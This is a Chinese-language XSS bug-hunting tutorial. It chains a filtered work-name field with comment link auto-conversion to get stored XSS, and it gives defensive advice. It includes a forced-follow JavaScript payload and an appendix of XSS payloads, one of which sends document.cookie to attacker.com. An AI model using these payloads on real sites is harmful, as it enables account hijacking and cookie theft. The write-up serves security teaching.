记一次有趣的XSS漏洞挖掘
字数 1252 2025-08-23 18:31:18
XSS漏洞挖掘实战教学文档
1. 漏洞背景
本文档基于一篇关于XSS漏洞挖掘的实际案例,展示了如何通过功能点组合发现存储型XSS漏洞,并利用该漏洞实现自动化用户关注操作。
2. 漏洞挖掘过程
2.1 功能点一:作品发布功能
测试点:
- 作品名称参数(name)
- 可发布用户自定义内容
测试方法:
- 尝试在作品名称中插入常见XSS payload
- 例如:
<script>alert(1)</script> - ``
- 例如:
结果:
- 初步测试无反应,payload被过滤或转义
2.2 功能点二:评论功能
测试点:
- 用户评论内容
- 特殊功能:自动将站内作品链接转换为作品名称的a标签
关键发现:
- 当评论中包含站内作品链接时,系统会自动转换为
<a>标签 - 外站链接不会触发此转换
3. 漏洞组合利用
3.1 漏洞形成原理
- 在作品发布功能中,虽然直接插入XSS payload被过滤
- 但可以通过发布一个包含XSS payload的作品
- 然后在评论中引用该作品链接
- 系统自动将链接转换为a标签时,可能未充分过滤XSS
3.2 实际利用步骤
-
创建恶意作品:
- 发布一个作品,其名称包含XSS payload
- 例如:
<script>恶意代码</script>
-
触发XSS:
- 在任意作品的评论区中,评论包含第一步创建的作品链接
- 系统自动将链接转换为a标签,可能执行其中的JS代码
4. 漏洞危害扩大
4.1 自动化关注攻击
攻击原理:
- 利用XSS执行JS代码,自动发送关注API请求
攻击代码示例:
function getHeaders() {
return {
"accept": "text/html,application/xhtml+xml,...",
"accept-language": "zh-CN,zh;q=0.9",
"cache-control": "max-age=0",
"content-type": "application/x-www-form-urlencoded",
"sec-ch-ua": "\"Not?A_Brand\";v=\"8\", \"Chromium\";v=\"108\"...",
"sec-ch-ua-mobile": "?0",
"sec-ch-ua-platform": "\"Windows\"",
"sec-fetch-dest": "document",
"sec-fetch-mode": "navigate",
"sec-fetch-site": "same-site",
"Content-Type": 'application/json'
};
}
function apiGet() {
return fetch("https://xxxxxxx/follow", {
method: "POST",
headers: getHeaders(),
mode: "cors",
body: JSON.stringify({
"followed_user_id": xxxxxx,
"state": 1
})
}).then(function() {
console.log("关注成功");
})
}
apiGet();
4.2 其他潜在危害
-
Cookie窃取:
- 通过XSS读取用户的cookie信息
- 发送到攻击者控制的服务器
-
账号劫持:
- 利用获取的cookie进行会话劫持
-
蠕虫传播:
- 自动在用户作品下发布恶意评论
- 实现漏洞的自我传播
5. 漏洞防御建议
5.1 输入过滤
- 对所有用户输入进行严格的HTML实体编码
- 使用白名单机制过滤允许的HTML标签和属性
5.2 输出编码
- 在将用户内容输出到页面时进行上下文相关的编码
- HTML实体编码
- JavaScript编码
- URL编码
5.3 内容安全策略(CSP)
- 实施严格的内容安全策略
- 限制内联脚本执行
- 限制外部资源加载
5.4 其他措施
- 对敏感操作(如关注)实施CSRF保护
- 设置HttpOnly标志保护cookie
- 实施X-XSS-Protection头部
6. 漏洞挖掘经验总结
-
功能组合测试:
- 单独测试功能点可能无法发现漏洞
- 多个功能组合可能产生意外行为
-
理解功能设计意图:
- 分析开发者实现功能的思路
- 预测可能的过滤和转换逻辑
-
关注数据流转:
- 跟踪用户输入如何在系统中流转
- 识别每个处理环节的过滤和转换
-
利用自动化转换:
- 特别关注系统自动转换用户输入的功能
- 这些转换可能绕过前端过滤
-
扩大攻击面思考:
- 不局限于简单的alert测试
- 考虑如何将漏洞转化为实际危害
7. 附录:常见XSS测试Payload
-
基本测试:
<script>alert(1)</script> -
绕过过滤:
<svg/onload=alert(1)> <script>alert`1`</script> -
无交互:
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> -
DOM型:
';alert(1);// " onmouseover=alert(1) // -
编码绕过:
%3Cscript%3Ealert(1)%3C/script%3E <script>alert(1)</script>